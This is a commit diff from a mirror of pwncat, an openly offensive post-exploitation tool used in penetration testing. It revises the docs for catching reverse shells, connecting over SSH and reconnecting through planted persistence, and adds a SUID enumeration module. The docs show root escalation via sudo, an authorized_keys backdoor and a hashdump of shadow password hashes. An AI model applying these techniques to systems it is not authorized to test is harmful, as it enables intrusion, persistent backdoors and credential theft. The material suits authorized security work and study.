1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 10:54:14 +01:00
This commit is contained in:
John Hammond 2020-05-24 23:55:07 -04:00
commit 305316f20a
13 changed files with 651 additions and 256 deletions

View File

@ -102,3 +102,35 @@ to connect with. If only one of ``--method`` or ``--user`` is specified, all met
For example, specifying only ``method`` will cause ``pwncat`` to attempt each user for which that method is installed.
On the other hand, specifying only ``--user`` will cause ``pwncat`` to attempt connection with every method which
offers persistence as that user. When both are specified, only the exact matching persistence method will be attempted.
Automated Connection w/ Configuration Script
--------------------------------------------
Configuration scripts are expected to be used on an engagement basis. If you have made a connection to victim and have
installed persistence methods, you can add your connect command to your configuration script in order to simply
connection in the future. For example, if you have made a previous connection to the host ``1.1.1.1`` and would like
``pwncat`` to automatically reconnect to that host on startup, you could create a configuration script:
.. code-block:: bash
:caption: pwncatrc - configuration script
# Ensure pwncat knows about your database
set db "sqlite:///engagement.sqlite"
# Automatically attempt reconnection to your host via authorized_keys
# as the root user
connect --reconnnect --host 1.1.1.1 -m authorized_keys -u root
With this script, ``pwncat`` will attempt to connect to the specified host without any other parameters. This simplifies
the ``pwncat`` command if you intend to connect/reconnect multiple times.
.. code-block:: bash
:caption: Simplified Reconnection w/ Configuration Script
$ pwncat -C data/pwncatrc
[+] setting terminal prompt
[+] running in /usr/bin/bash
[+] terminal state synchronized
[+] pwncat is ready 🐈
(remote) root@pwncat-centos-testing:~#

View File

@ -33,116 +33,138 @@ press "C-k C-d" and to send "C-k" to the remote terminal, you can press "C-k C-k
can be connected with any arbitrary script or local command and can be defined in the configuration file
or with the ``bind`` command.
Connecting to a remote host
---------------------------
Command Line Interface and Start-up Sequence
--------------------------------------------
To connect to a remote host, the ``connect`` command is used. This command is capable of connecting
to a remote host over a raw socket, SSH or view a previously installed persistence mechanism. It
is also able to listen for reverse connections and initiate a session upon connection.
The ``pwncat`` module installs a main script of the same name as an entry point to ``pwncat``. The
command line parameters to this command are the same as that of the ``connect`` command. During startup,
``pwncat`` will initialize an unconnected ``pwncat.victim`` object. It will then pass all arguments to
the entrypoint on to the ``connect`` command. This command is capable of loading and executing a
configuration script as well as connecting via various methods to a remote victim.
When running ``pwncat``, all program arguments with the exception of the ``--config/-c`` and the
``--help`` arguments are interpreted as local commands which will be executed after the configuration
file is loaded.
If a connection is not established during this initial connect command (for example, if the victim
cannot be contacted or the ``--help`` parameter was specified), ``pwncat`` will then exit. If a
connection *is* established, ``pwncat`` will enter the main Raw mode loop and provide you with
a shell. At the time of writing, the available ``pwncat`` arguments are:
Connecting can happen in your configuration file, from the command identified at command execution
or after startup. If no connection is made from the configuration file or from your command line
arguments, you will be placed in a local ``pwncat`` command prompt. This is a restricted prompt
only allowing local commands to be run. From here, you can start a listener or connect to a remote
host with the ``connect`` command.
.. code-block::
:caption: pwncat argument help
Here's an example of connecting to a remote bind shell on the host "test-host" on port 4444 immediately
on invocation of ``pwncat``:
usage: pwncat [-h] [--exit] [--config CONFIG] [--listen] [--connect] [--ssh]
[--reconnect] [--list] [--host HOST] [--port PORT] [--method METHOD]
[--user USER] [--password PASSWORD] [--identity IDENTITY]
Connect to a remote host via SSH, bind/reverse shells or previous persistence methods
installed during past sessions.
optional arguments:
-h, --help show this help message and exit
--exit Exit if not connection is made
--config CONFIG, -C CONFIG
Path to a configuration script to execute prior to connecting
--listen, -l Listen for an incoming reverse shell
--connect, -c Connect to a remote bind shell
--ssh, -s Connect to a remote ssh server
--reconnect, -r Reconnect to the given host via a persistence method
--list List remote hosts with persistence methods installed
--host HOST, -H HOST Address to listen on or remote host to connect to. For
reconnections, this can be a host hash
--port PORT, -p PORT The port to listen on or connect to
--method METHOD, -m METHOD
The method to user for reconnection
--user USER, -u USER The user to reconnect as; if this is a system method, this
parameter is ignored.
--password PASSWORD, -P PASSWORD
The password for the specified user for SSH connections
--identity IDENTITY, -i IDENTITY
The private key for authentication for SSH connections
Connection Methods
------------------
``pwncat`` is able to connect to a remote host in a few different ways. At it's core, ``pwncat`` communicates
with a remote shell over a raw socket. This can be either a bind shell or a reverse shell from a remote victim
host. ``pwncat`` also offerst the ability to connect to a remote victim over SSH with a known password or
private key. When connecting via SSH, ``pwncat`` provides the same interface and capabilities as with a
raw bind or reverse shell.
The last connection method relies on a previous ``pwncat`` session with the victim. If you install a persistence
method which support remote reconnection, ``pwncat`` can utilize this to initiate a new remote shell with the victim
automatically. For example, if you installed authorized keys for a specific user, ``pwncat`` can utilize these to
initiate another SSH session using your persistence. This allows you to easily reconnect in the event of a previous
session being disconnected.
Fully documentation on the methods and options for these connection methods can be found in the ``connect``
documentation under the Command Index. A few examples of connections can be found below.
Connecting to a victim bind shell
---------------------------------
In this case, the victim is running a raw bind shell on an open port. The victim must be available at an
address which is routable (e.g. not NAT'd). The ``--connect/-c`` mode provides this capability.
.. code-block:: bash
:caption: Connecting to a bind shell at 1.1.1.1:4444
pwncat connect --connect -H test-host -p 4444
pwncat --connect -H 1.1.1.1 -p 4444
Similarly, listening for a reverse shell connection can be similarly accomplished:
Catching a victim reverse shell
-------------------------------
In this case, the victim was exploited in such a way that they open a connection to your attacking host
on a specific port with a raw shell open on the other end. Your attacking host must be routable from the
victim machine. This mode is accessed via the ``--listen/-l`` option for connect.
.. code-block:: bash
:caption: Catching a reverse shell
pwncat connect --listen -H 0.0.0.0 -p 4444
pwncat --listen -p 4444
As mentioned above, if no connections are made during initialization, you will be taken to a local
``pwncat`` prompt where you can then execute the ``connect`` command manually:
Connecting to a Remote SSH Server
---------------------------------
If you were able to obtain a valid password or private key for a remote user, you can initiate a ``pwncat``
session with the remote host over SSH. This mode is accessed via the ``--ssh/-s`` option for connect.
.. code-block:: bash
:caption: Connection to a remote SSH server w/ Password Auth
$ pwncat
[?] no connection established, entering command mode
[+] local terminal restored
(local) pwncat$ connect -c -H test-host -p 4444
[+] connection to A.B.C.D:4444 established
[+] setting terminal prompt
[+] running in /bin/bash
[+] terminal state synchronized
[+] pwncat is ready 🐈
(remote) debian@debian-s-1vcpu-1gb-nyc1-01:/home/debian$
The last method of connecting is via your configuration file. You can place the ``connect`` command
there in order to not require any arguments. More powerfully, you can place your **reconnect**
command in your configuration file, which will fail the first time you connect to the remote host.
After installing persistence, reconnection will utilize your persistence to gain a shell and you
will no longer need command line parameters.
pwncat -s -H 1.1.1.1 -u root -p "r00t5P@ssw0rd"
.. code-block:: bash
:caption: Connection to a remote SSH server w/ Public Key Auth
# your pwncat configuration script
set db "sqlite:///pwncat.sqlite"
connect --reconnect -H test-host
pwncat -s -H 1.1.1.1 -u root -i ./root-private-key
Reconnecting to a victim
------------------------
If you previously had a ``pwncat`` session with a remote host and installed a persistence mechanism, you may
be able to leverage ``pwncat`` to automatically reconnect to the victim host utilizing your persistence
machanism. For this to work, you must specify a configuration file which provides a database for ``pwncat``
to use. With a configuration file specified, you can use the ``--list`` argument to list known hosts and
their associated persistence methods.
.. code-block:: bash
:caption: Listing known host/persistence combinations
# Connect to test-host via reverse shell the first time
$ pwncat -c pwncatrc connect -l -H 0.0.0. -p 4444
[!] d87b9646813d250ac433decdee70112a: connection failed: no working persistence methods found
[+] connection to A.B.C.D:4444 established
[+] setting terminal prompt
[+] running in /bin/bash
[+] terminal state synchronized
[+] pwncat is ready 🐈
pwncat -C data/pwncatrc --list
1.1.1.1 - "centos" - 999c434fe6bd7383f1a6cc10f877644d
- authorized_keys as root
(remote) debian@debian-s-1vcpu-1gb-nyc1-01:/root$
[+] local terminal restored
(local) pwncat$ privesc -e
[+] privilege escalation succeeded using:
⮡ shell as root via /bin/bash (sudo NOPASSWD)
[+] pwncat is ready 🐈
Each host is identified by a host hash as seen above. You can reconnect to a host by either specifying a host
hash or an IP address. If multiple hosts share the same IP address, the first in the database will be selected
if you specify an IP address. Host hashes are unique across hosts.
(remote) root@debian-s-1vcpu-1gb-nyc1-01:~#
[+] local terminal restored
(local) pwncat$ persist -i -m authorized_keys -u root
(local) pwncat$ persist --status
- authorized_keys as root (local) installed
(local) pwncat$
[+] pwncat is ready 🐈
.. code-block:: bash
:caption: Reconnecting to a known host
(remote) root@debian-s-1vcpu-1gb-nyc1-01:~#
# Reconnect w/ host hash
pwncat -C data/pwncatrc --reconnect -H 999c434fe6bd7383f1a6cc10f877644d
# Reconnect to first host w/ matching IP
pwncat -C data/pwncatrc --reconnect -H 1.1.1.1
exit
(remote) debian@debian-s-1vcpu-1gb-nyc1-01:/root$
(remote) debian@debian-s-1vcpu-1gb-nyc1-01:/root$
Other options are available to specify methods or users to reconnect with. These options are covered in more detail
in the ``connect`` documentation under the Command Index.
exit
[+] local terminal restored
$ pwncat -c data/pwncatrc
[+] setting terminal prompt
[+] running in /bin/bash
[+] terminal state synchronized
[+] pwncat is ready 🐈
(remote) root@debian-s-1vcpu-1gb-nyc1-01:~#
(remote) root@debian-s-1vcpu-1gb-nyc1-01:~#
[+] local terminal restored
(local) pwncat$ hashdump
root:$6$jmqmNYe9$8GJjU.tV5XWfyFMclJXd0f7TOCEuHbvU9ajD8ZeaVd7y7GGXcb7BfNVV6rR/S6AcmI0W.yzHiXId0EZsYgnQx1
debian:$6$c5h8DDIk$2bxaEK8C.wCkTwY.z/Z4c48RwdLRL5AE5J6qvPPHCz2vPb2dEeIbwtxkTHHbvTcnh1S/J0e2gPxUiRgT9SiXN/
(local) pwncat$
The first time ``pwncat`` was run, the reconnection command failed. This was expected, since we
had not connected to the remote host yet. After we escalated privileges, and installed persistence,
we were able to re-run ``pwncat`` with no arguments and get a shell. In this case, ``pwncat``
utilized our installed ssh authorized keys backdoor to gain a session as the root user.

View File

@ -105,6 +105,9 @@ class Command(CommandDefinition):
removed.append(binary)
pwncat.victim.session.delete(binary)
# This ensures the pwncat.victim.host.binaries array
# is correct and doesn't contain entries which were
# deleted prior to an auto-commit.
pwncat.victim.session.commit()
pwncat.victim.host = (
pwncat.victim.session.query(pwncat.db.Host)

View File

@ -24,9 +24,6 @@ class Command(CommandDefinition):
PROG = "connect"
ARGS = {
"--exit": parameter(
Complete.NONE, action="store_true", help="Exit if not connection is made"
),
"--config,-C": parameter(
Complete.NONE,
help="Path to a configuration script to execute prior to connecting",
@ -120,145 +117,134 @@ class Command(CommandDefinition):
self.parser.error(str(exc))
if args.action == "none":
# No action was provided, and no connection was made in the config
if pwncat.victim.client is None:
self.parser.print_help()
return
try:
if args.action == "listen":
if not args.host:
args.host = "0.0.0.0"
if args.action == "listen":
if not args.host:
args.host = "0.0.0.0"
util.progress(f"binding to {args.host}:{args.port}")
util.progress(f"binding to {args.host}:{args.port}")
# Create the socket server
server = socket.create_server((args.host, args.port), reuse_port=True)
# Create the socket server
server = socket.create_server((args.host, args.port), reuse_port=True)
try:
# Wait for a connection
(client, address) = server.accept()
except KeyboardInterrupt:
util.warn(f"aborting listener...")
return
util.success(f"received connection from {address[0]}:{address[1]}")
pwncat.victim.connect(client)
elif args.action == "connect":
if not args.host:
self.parser.error("host address is required for outbound connections")
util.progress(f"connecting to {args.host}:{args.port}")
# Connect to the remote host
client = socket.create_connection((args.host, args.port))
util.success(f"connection to {args.host}:{args.port} established")
pwncat.victim.connect(client)
elif args.action == "ssh":
if not args.port:
args.port = 22
if not args.user:
self.parser.error("you must specify a user")
if not args.password and not args.identity:
self.parser.error("either a password or identity file is required")
try:
# Connect to the remote host's ssh server
sock = socket.create_connection((args.host, args.port))
except Exception as exc:
util.error(str(exc))
return
# Create a paramiko SSH transport layer around the socket
t = paramiko.Transport(sock)
try:
t.start_client()
except paramiko.SSHException:
sock.close()
util.error("ssh negotiation failed")
return
if args.identity:
try:
# Wait for a connection
(client, address) = server.accept()
except KeyboardInterrupt:
util.warn(f"aborting listener...")
return
util.success(f"received connection from {address[0]}:{address[1]}")
pwncat.victim.connect(client)
elif args.action == "connect":
if not args.host:
self.parser.error(
"host address is required for outbound connections"
)
util.progress(f"connecting to {args.host}:{args.port}")
# Connect to the remote host
client = socket.create_connection((args.host, args.port))
util.success(f"connection to {args.host}:{args.port} established")
pwncat.victim.connect(client)
elif args.action == "ssh":
if not args.port:
args.port = 22
if not args.user:
self.parser.error("you must specify a user")
if not args.password and not args.identity:
self.parser.error("either a password or identity file is required")
# Load the private key for the user
key = paramiko.RSAKey.from_private_key_file(args.identity)
except:
password = prompt("RSA Private Key Passphrase: ", is_password=True)
key = paramiko.RSAKey.from_private_key_file(args.identity, password)
# Attempt authentication
try:
# Connect to the remote host's ssh server
sock = socket.create_connection((args.host, args.port))
except Exception as exc:
util.error(str(exc))
return
# Create a paramiko SSH transport layer around the socket
t = paramiko.Transport(sock)
try:
t.start_client()
except paramiko.SSHException:
sock.close()
util.error("ssh negotiation failed")
return
if args.identity:
try:
# Load the private key for the user
key = paramiko.RSAKey.from_private_key_file(args.identity)
except:
password = prompt(
"RSA Private Key Passphrase: ", is_password=True
)
key = paramiko.RSAKey.from_private_key_file(
args.identity, password
)
# Attempt authentication
try:
t.auth_publickey(args.user, key)
except paramiko.ssh_exception.AuthenticationException as exc:
util.error(f"authentication failed: {exc}")
else:
try:
t.auth_password(args.user, args.password)
except paramiko.ssh_exception.AuthenticationException as exc:
util.error(f"authentication failed: {exc}")
if not t.is_authenticated():
t.close()
sock.close()
return
# Open an interactive session
chan = t.open_session()
chan.get_pty()
chan.invoke_shell()
# Initialize the session!
pwncat.victim.connect(chan)
elif args.action == "reconnect":
if not args.host:
self.parser.error(
"host address or hash is required for reconnection"
)
try:
addr = ipaddress.ip_address(args.host)
util.progress(f"enumerating persistence methods for {addr}")
host = (
pwncat.victim.session.query(pwncat.db.Host)
.filter_by(ip=str(addr))
.first()
)
if host is None:
util.error(f"{args.host}: not found in database")
return
host_hash = host.hash
except ValueError:
host_hash = args.host
# Reconnect to the given host
try:
pwncat.victim.reconnect(host_hash, args.method, args.user)
except PersistenceError as exc:
util.error(f"{args.host}: connection failed")
return
elif args.action == "list":
if pwncat.victim.session is not None:
for host in pwncat.victim.session.query(pwncat.db.Host):
if len(host.persistence) == 0:
continue
print(
f"{Fore.MAGENTA}{host.ip}{Fore.RESET} - {Fore.RED}{host.distro}{Fore.RESET} - {Fore.YELLOW}{host.hash}{Fore.RESET}"
)
for p in host.persistence:
print(
f" - {Fore.BLUE}{p.method}{Fore.RESET} as {Fore.GREEN}{p.user if p.user else 'system'}{Fore.RESET}"
)
t.auth_publickey(args.user, key)
except paramiko.ssh_exception.AuthenticationException as exc:
util.error(f"authentication failed: {exc}")
else:
util.error(f"{args.action}: invalid action")
finally:
if pwncat.victim.client is None and args.exit:
raise SystemExit
try:
t.auth_password(args.user, args.password)
except paramiko.ssh_exception.AuthenticationException as exc:
util.error(f"authentication failed: {exc}")
if not t.is_authenticated():
t.close()
sock.close()
return
# Open an interactive session
chan = t.open_session()
chan.get_pty()
chan.invoke_shell()
# Initialize the session!
pwncat.victim.connect(chan)
elif args.action == "reconnect":
if not args.host:
self.parser.error("host address or hash is required for reconnection")
try:
addr = ipaddress.ip_address(args.host)
util.progress(f"enumerating persistence methods for {addr}")
host = (
pwncat.victim.session.query(pwncat.db.Host)
.filter_by(ip=str(addr))
.first()
)
if host is None:
util.error(f"{args.host}: not found in database")
return
host_hash = host.hash
except ValueError:
host_hash = args.host
# Reconnect to the given host
try:
pwncat.victim.reconnect(host_hash, args.method, args.user)
except PersistenceError as exc:
util.error(f"{args.host}: connection failed")
return
elif args.action == "list":
if pwncat.victim.session is not None:
for host in pwncat.victim.session.query(pwncat.db.Host):
if len(host.persistence) == 0:
continue
print(
f"{Fore.MAGENTA}{host.ip}{Fore.RESET} - {Fore.RED}{host.distro}{Fore.RESET} - {Fore.YELLOW}{host.hash}{Fore.RESET}"
)
for p in host.persistence:
print(
f" - {Fore.BLUE}{p.method}{Fore.RESET} as {Fore.GREEN}{p.user if p.user else 'system'}{Fore.RESET}"
)
else:
util.error(f"{args.action}: invalid action")

View File

@ -0,0 +1,93 @@
#!/usr/bin/env python3
from colorama import Fore, Style
import pwncat
from pwncat.commands.base import (
CommandDefinition,
Complete,
parameter,
StoreConstOnce,
StoreForAction,
)
class Command(CommandDefinition):
"""
Interface with the underlying enumeration module. This provides methods
for enumerating, viewing and clearing cached facts about the victim.
Types of enumeration data include the following options:
* all - all known enumeration techniques
* common - common useful information
* suid - Set UID binaries on the remote host
* passwords - Known passwords for remote users
* keys - Known private keys found on the remote host
Other enumeration data may be available which was dynamically registered by
other ``pwncat`` modules.
"""
PROG = "enum"
ARGS = {
"--show,-s": parameter(
Complete.NONE,
action=StoreConstOnce,
nargs=0,
dest="action",
const="show",
help="Find and display all facts of the given type",
),
"--no-enumerate,-n": parameter(
Complete.NONE,
action="store_true",
help="Do not perform actual enumeration; only print already enumerated values",
),
"--type,-t": parameter(
Complete.NONE, help="The type of enumeration data to query"
),
"--flush,-f": parameter(
Complete.NONE,
action=StoreConstOnce,
nargs=0,
dest="action",
const="flush",
help="Flush the queried enumeration data from the database",
),
"--provider,-p": parameter(
Complete.NONE, help="The enumeration provider to filter by"
),
}
DEFAULTS = {"action": "help"}
def run(self, args):
# no arguments prints help
if args.action == "help":
self.parser.print_help()
return
if not args.type:
args.type = "all"
if args.action == "show":
self.show_facts(args.type, args.provider)
elif args.action == "flush":
self.flush_facts(args.type, args.provider)
def show_facts(self, typ: str, provider: str):
""" Display known facts matching the criteria """
if typ is not None:
print(f"{Fore.YELLOW}{Style.BRIGHT}{typ.upper()} Facts{Style.RESET_ALL}")
for fact in pwncat.victim.enumerate:
if fact.type != typ:
continue
if provider is not None and fact.source != provider:
continue
print(f" {fact.data} from {fact.source}")
def flush_facts(self, typ: str, provider: str):
""" Flush all facts that match criteria """
pwncat.victim.enumerate.flush(typ, provider)

View File

@ -8,3 +8,4 @@ from pwncat.db.persist import Persistence
from pwncat.db.suid import SUID
from pwncat.db.tamper import Tamper
from pwncat.db.user import User, Group, SecondaryGroupAssociation
from pwncat.db.fact import Fact

21
pwncat/db/fact.py Normal file
View File

@ -0,0 +1,21 @@
#!/usr/bin/env python3
from sqlalchemy import Column, Integer, ForeignKey, PickleType, UniqueConstraint, String
from sqlalchemy.orm import relationship
from pwncat.db.base import Base
class Fact(Base):
""" Store enumerated facts. The pwncat.enumerate.Fact objects are pickled and
stored in the "data" column. The enumerator is arbitrary, but allows for
organizations based on the source enumerator. """
__tablename__ = "facts"
id = Column(Integer, primary_key=True)
host_id = Column(Integer, ForeignKey("host.id"))
host = relationship("Host", back_populates="facts")
type = Column(String)
source = Column(String)
data = Column(PickleType)
__table_args__ = (UniqueConstraint("type", "data", name="_type_data_uc"),)

View File

@ -44,3 +44,5 @@ class Host(Base):
# A list of SUID binaries found across all users (may have overlap, and may not be
# accessible by the current user).
suid = relationship("SUID")
# List of enumerated facts about the remote victim
facts = relationship("Fact")

View File

@ -0,0 +1,141 @@
#!/usr/bin/env python3
import pkgutil
from typing import Generator, Callable, Any
import pwncat
class Fact:
"""
I don't know how to generically represent this yet...
"""
class Enumerate:
""" Abstract fact enumeration class for the victim. This abstracts
the process of enumerating different facts from the remote victim.
Facts are identified by their type which is a string. For example,
an enumerator may provide the "suid" type which enumerates SUID
binaries. There may be multiple enumerators which provide the same
type of facts.
Enumerators are created by creating a module under pwncat/enumerate
which must implement the following:
* `provides` - a string which indicates the type of facts which this
enumerator provides
* `name` - a string which is a unique name for this enumerator
* `enumerate` - a method which returns a generator yielding all known
new facts for this enumerator.
"""
def __init__(self):
self.enumerators = {}
for loader, module_name, is_pkg in pkgutil.walk_packages(__path__):
enumerator = loader.find_module(module_name).load_module(module_name)
if enumerator.provides not in self.enumerators:
self.enumerators[enumerator.provides] = []
self.enumerators[enumerator.provides].append(enumerator)
def iter(
self, typ: str, filter: Callable[[Fact], bool] = None, only_cached=False
) -> Generator[pwncat.db.Fact, None, None]:
"""
Iterate over facts of the given type. The optional filter argument provides a
way to filter facts based on a lambda function.
:param typ: the type of facts to return
:param filter: a callable which takes a Fact and returns a boolean indicating
whether to yield this fact.
:return: Generator[Fact, None, None]
"""
# Yield all known facts
for fact in pwncat.victim.host.facts:
if fact.data is None:
continue
if fact.type == typ:
if filter is not None and not filter(fact):
continue
yield fact
# If we know of enumerators for this type of fact, we check with them for
# any new matching facts.
if not only_cached and typ in self.enumerators:
for enumerator in self.enumerators[typ]:
for data in enumerator.enumerate():
fact = self.add_fact(typ, data, enumerator.name)
if fact.data is None:
continue
if filter is not None and not filter(fact):
continue
yield fact
def __iter__(self):
"""
Iterate over all facts, regardless of the type.
:return:
"""
yield from pwncat.victim.host.facts
def add_fact(self, typ: str, data: Any, source: str) -> pwncat.db.Fact:
"""
Register a fact with the fact database. This does not have to come from
an enumerator. It likely didn't. This will be registered in the database
and returned from `iter` after this.
:param source: a printable description of what generated this fact
:param typ: the type of fact
:param data: type-specific data for this fact. this must be pickle-able
"""
row = pwncat.db.Fact(
host_id=pwncat.victim.host.id, type=typ, data=data, source=source,
)
pwncat.victim.host.facts.append(row)
pwncat.victim.session.add(row)
pwncat.victim.session.commit()
return row
def flush(self, typ: str = None, provider: str = None):
"""
Flush all facts provided by the given provider.
:param provider:
:return:
"""
# Delete all matching facts
for fact in pwncat.victim.host.facts:
if typ is not None and fact.type != typ:
continue
if provider is not None and fact.source != provider:
continue
pwncat.victim.session.delete(fact)
# Reload the host object
pwncat.victim.session.commit()
pwncat.victim.host = (
pwncat.victim.session.query(pwncat.db.Host)
.filter_by(id=pwncat.victim.host.id)
.first()
)
def exist(self, typ: str, provider: str = None) -> bool:
"""
Test whether any facts with the given type exist in the database.
:param typ: the type of facts to look for
:return: boolean, whether any facts exist for this type
"""
for row in pwncat.victim.host.facts:
if row.type == typ:
if provider is not None and provider != row.source:
continue
return True
return False

91
pwncat/enumerate/suid.py Normal file
View File

@ -0,0 +1,91 @@
#!/usr/bin/env python3
import dataclasses
import os
from typing import Generator
from colorama import Fore
import pwncat
from pwncat import util
name = "pwncat.enumerate.suid"
provides = "suid"
@dataclasses.dataclass
class Binary:
"""
A generic description of a SUID binary
"""
path: str
""" The path to the binary """
uid: int
""" The owner of the binary """
def __str__(self):
return f"{Fore.YELLOW}{self.path}{Fore.RESET} owned by {Fore.GREEN}{self.owner.name}{Fore.RESET}"
@property
def description(self) -> str:
return str(self)
@property
def owner(self):
return pwncat.victim.find_user_by_id(self.uid)
def enumerate() -> Generator[Binary, None, None]:
"""
Enumerate all new Set UID binaries. These are turned into facts by pwncat.victim.enumerate
which can be generically retrieved with pwncat.victim.enumerate.iter("suid"). This also
inserts a dummy-fact named "suid-searched-{uid}" to indicate we have already searched for
SUID binaries as a given user.
:return: Generator[Binary, None, None]
"""
current_user = pwncat.victim.current_user
# We've already enumerated this user
if pwncat.victim.enumerate.exist(
f"suid", provider=f"suid-searched-{current_user.id}"
):
return
# Add the fact indicating we already searched for SUID binaries
pwncat.victim.enumerate.add_fact(f"suid", None, f"suid-searched-{current_user.id}")
# Spawn a find command to locate the setuid binaries
with pwncat.victim.subprocess(
"find / -perm -4000 -printf '%U %p\\n' 2>/dev/null", mode="r", no_job=True
) as stream:
util.progress("searching for setuid binaries")
for path in stream:
# Parse out owner ID and path
path = path.strip().decode("utf-8").split(" ")
uid, path = int(path[0]), " ".join(path[1:])
# Print status message
util.progress(
(
f"searching for setuid binaries as {Fore.GREEN}{current_user.name}{Fore.RESET}: "
f"{Fore.CYAN}{os.path.basename(path)}{Fore.RESET}"
)
)
# Check if we already know about this SUID binary from a different search
# This will only searched the cached database entries and not end up being
# recursive.
try:
next(
pwncat.victim.enumerate.iter(
"suid", only_cached=True, filter=lambda f: f.data.path == path,
)
)
except StopIteration:
pass
else:
continue
yield Binary(path, uid)

View File

@ -295,7 +295,7 @@ class Finder:
pwncat.victim.reset()
# Check that we actually succeeded
current = pwncat.victim.whoami()
current = pwncat.victim.update_user()
if current == technique.user or (
technique.user == pwncat.victim.config["backdoor_user"]
@ -680,7 +680,7 @@ class Finder:
if persist.escalate(target_user):
# The method thought it worked, but didn't appear to
if pwncat.victim.whoami() != target_user:
if pwncat.victim.update_user() != target_user:
if pwncat.victim.getenv("SHLVL") != shlvl:
pwncat.victim.run("exit", wait=False)
continue
@ -704,25 +704,13 @@ class Finder:
except PrivescError:
pass
if (
target_user == "root"
and pwncat.victim.config["backdoor_user"] in techniques
):
try:
tech, exit_command = self.escalate_single(
techniques[pwncat.victim.config["backdoor_user"]], shlvl
)
chain.append((tech, exit_command))
return chain
except PrivescError:
pass
# Try to escalate directly to the target if possible
if target_user in techniques:
try:
tech, exit_command = self.escalate_single(
techniques[target_user], shlvl
)
pwncat.victim.update_user()
chain.append((tech, exit_command))
return chain
except PrivescError:
@ -737,7 +725,7 @@ class Finder:
f"checking local persistence implants: {persist.format(user)}"
)
if persist.escalate(user):
if pwncat.victim.whoami() != user:
if pwncat.victim.update_user() != user:
if pwncat.victim.getenv("SHLVL") != shlvl:
pwncat.victim.run("exit", wait=False)
continue

View File

@ -74,23 +74,18 @@ class SetuidMethod(Method):
""" Find all techniques known at this time """
# Update the cache for the current user
self.find_suid()
# self.find_suid()
known_techniques = []
for suid in pwncat.victim.host.suid:
for suid in pwncat.victim.enumerate.iter("suid"):
try:
binary = pwncat.victim.gtfo.find_binary(suid.path, caps)
binary = pwncat.victim.gtfo.find_binary(suid.data.path, caps)
except BinaryNotFound:
continue
for method in binary.iter_methods(suid.path, caps, Stream.ANY):
for method in binary.iter_methods(suid.data.path, caps, Stream.ANY):
known_techniques.append(
Technique(
pwncat.victim.find_user_by_id(suid.owner_id).name,
self,
method,
method.cap,
)
Technique(suid.data.owner.name, self, method, method.cap,)
)
return known_techniques

View File

@ -25,6 +25,7 @@ from pwncat.gtfobins import GTFOBins, Capability, Stream
from pwncat.remote import RemoteService
from pwncat.tamper import Tamper, TamperManager
from pwncat.util import State
import pwncat.enumerate
def remove_busybox_tamper():
@ -137,12 +138,17 @@ class Victim:
self.privesc: privesc.Finder = None
# Persistence manager
self.persist: persist.Persistence = persist.Persistence()
# The enumeration manager
self.enumerate: pwncat.enumerate.Enumerate = pwncat.enumerate.Enumerate()
# Database engine
self.engine: Engine = None
# Database session
self.session: Session = None
# The host object as seen by the database
self.host: pwncat.db.Host = None
# The current user. This is cached while at the `pwncat` prompt
# and reloaded whenever returning from RAW mode.
self.cached_user: str = None
def reconnect(
self, hostid: str, requested_method: str = None, requested_user: str = None
@ -622,16 +628,19 @@ class Victim:
if binding.strip().startswith("pass"):
self.client.send(data)
binding = binding.lstrip("pass")
else:
self.restore_local_term()
sys.stdout.write("\n")
self.restore_local_term()
sys.stdout.write("\n")
# Update the current user
self.update_user()
# Evaluate the script
self.command_parser.eval(binding, "<binding>")
# Evaluate the script
self.command_parser.eval(binding, "<binding>")
self.flush_output()
self.client.send(b"\n")
self.saved_term_state = util.enter_raw_mode()
self.flush_output()
self.client.send(b"\n")
self.saved_term_state = util.enter_raw_mode()
except KeyError:
pass
@ -686,6 +695,8 @@ class Victim:
self._state = State.COMMAND
# Hopefully this fixes weird cursor position issues
util.success("local terminal restored")
# Reload the current user name
self.update_user()
# Setting the state to local command mode does not return until
# command processing is complete.
self.command_parser.run()
@ -696,6 +707,8 @@ class Victim:
self._state = State.SINGLE
# Hopefully this fixes weird cursor position issues
sys.stdout.write("\n")
# Update the current user
self.update_user()
# Setting the state to local command mode does not return until
# command processing is complete.
self.command_parser.run_single()
@ -1500,8 +1513,15 @@ class Victim:
:return: str, the current user name
"""
result = self.run("whoami")
return result.strip().decode("utf-8")
return self.cached_user
def update_user(self):
"""
Requery the current user
:return: the current user
"""
self.cached_user = self.run("whoami").strip().decode("utf-8")
return self.cached_user
def getenv(self, name: str):
"""